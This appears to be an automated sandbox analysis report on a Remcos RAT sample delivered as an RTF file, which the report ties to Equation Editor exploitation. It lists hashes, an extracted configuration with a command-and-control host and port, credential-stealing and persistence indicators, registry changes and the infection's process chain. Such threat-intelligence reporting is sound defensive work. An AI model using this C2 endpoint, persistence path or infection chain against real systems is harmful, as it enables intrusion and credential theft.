remcos | 83082b3658df1576b1cd33ad7d6950377be5c86fa3806276a9f4ee18cb036194

Analysis

max time kernel
149s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 09:40

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General

Target

386106.rtf
Size

69KB
MD5

59db61201acc8d3ba969567066985b20
SHA1

a76cf1a0546cc1afd7d00ccc5df3939f287e8f95
SHA256

83082b3658df1576b1cd33ad7d6950377be5c86fa3806276a9f4ee18cb036194
SHA512

054caca6a0b6edf05b35207d38a89afb8f3e8092cfd8b8b90db8a73e6b6a2e8244530a592be358abdf58ac2e8e012b67256da02509fe496c3fef9f0e86e7985c
SSDEEP

1536:zGkkyH1Bnu2qmz3bRt5kyhyHuBk+ATOhlNx5b2v6PpNz:zGWH1BXbRDhyKkdOhl52v6PpZ

Score

10^/10

remcos remotehost collection persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

bedende.duckdns.org:2424

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-S4NKW3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 3 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral1/memory/2540-196-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView
behavioral1/memory/2540-197-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView
behavioral1/memory/2540-217-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 3 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral1/memory/1584-187-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/1584-186-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral1/memory/1584-208-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1584-187-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/1584-186-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2540-196-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral1/memory/2688-200-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2540-197-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral1/memory/2688-202-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2688-203-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1584-208-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2540-217-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft

Blocklisted process makes network request 8 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exe

flow	pid	process
3	2648	EQNEDT32.EXE
7	2440	WScript.exe
9	2440	WScript.exe
11	2140	powershell.exe
13	2140	powershell.exe
15	2140	powershell.exe
16	2140	powershell.exe
19	2140	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\SVR.vbs"	powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeRegAsm.exe

description	pid	process	target process
PID 2140 set thread context of 2056	2140	powershell.exe	RegAsm.exe
PID 2056 set thread context of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 set thread context of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 set thread context of 2688	2056	RegAsm.exe	RegAsm.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

2648 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
2648	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2656 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegAsm.exe

pid process

2080 powershell.exe
2140 powershell.exe
1564 powershell.exe
1584 RegAsm.exe
1584 RegAsm.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

RegAsm.exe

pid process

2056 RegAsm.exe
2056 RegAsm.exe
2056 RegAsm.exe

pid	process
2656	WINWORD.EXE

pid	process
2080	powershell.exe
2140	powershell.exe
1564	powershell.exe
1584	RegAsm.exe
1584	RegAsm.exe

pid	process
2056	RegAsm.exe
2056	RegAsm.exe
2056	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exeRegAsm.exe

description	pid	process
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	2688	RegAsm.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2656 WINWORD.EXE
2656 WINWORD.EXE

pid	process
2656	WINWORD.EXE
2656	WINWORD.EXE

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exeWINWORD.EXEpowershell.exeRegAsm.exe

description	pid	process	target process
PID 2648 wrote to memory of 2440	2648	EQNEDT32.EXE	WScript.exe
PID 2648 wrote to memory of 2440	2648	EQNEDT32.EXE	WScript.exe
PID 2648 wrote to memory of 2440	2648	EQNEDT32.EXE	WScript.exe
PID 2648 wrote to memory of 2440	2648	EQNEDT32.EXE	WScript.exe
PID 2440 wrote to memory of 2080	2440	WScript.exe	powershell.exe
PID 2440 wrote to memory of 2080	2440	WScript.exe	powershell.exe
PID 2440 wrote to memory of 2080	2440	WScript.exe	powershell.exe
PID 2440 wrote to memory of 2080	2440	WScript.exe	powershell.exe
PID 2080 wrote to memory of 2140	2080	powershell.exe	powershell.exe
PID 2080 wrote to memory of 2140	2080	powershell.exe	powershell.exe
PID 2080 wrote to memory of 2140	2080	powershell.exe	powershell.exe
PID 2080 wrote to memory of 2140	2080	powershell.exe	powershell.exe
PID 2656 wrote to memory of 896	2656	WINWORD.EXE	splwow64.exe
PID 2656 wrote to memory of 896	2656	WINWORD.EXE	splwow64.exe
PID 2656 wrote to memory of 896	2656	WINWORD.EXE	splwow64.exe
PID 2656 wrote to memory of 896	2656	WINWORD.EXE	splwow64.exe
PID 2140 wrote to memory of 1564	2140	powershell.exe	powershell.exe
PID 2140 wrote to memory of 1564	2140	powershell.exe	powershell.exe
PID 2140 wrote to memory of 1564	2140	powershell.exe	powershell.exe
PID 2140 wrote to memory of 1564	2140	powershell.exe	powershell.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2140 wrote to memory of 2056	2140	powershell.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 1584	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2540	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe
PID 2056 wrote to memory of 2688	2056	RegAsm.exe	RegAsm.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\386106.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:896

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\lovetolovers.vbs"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
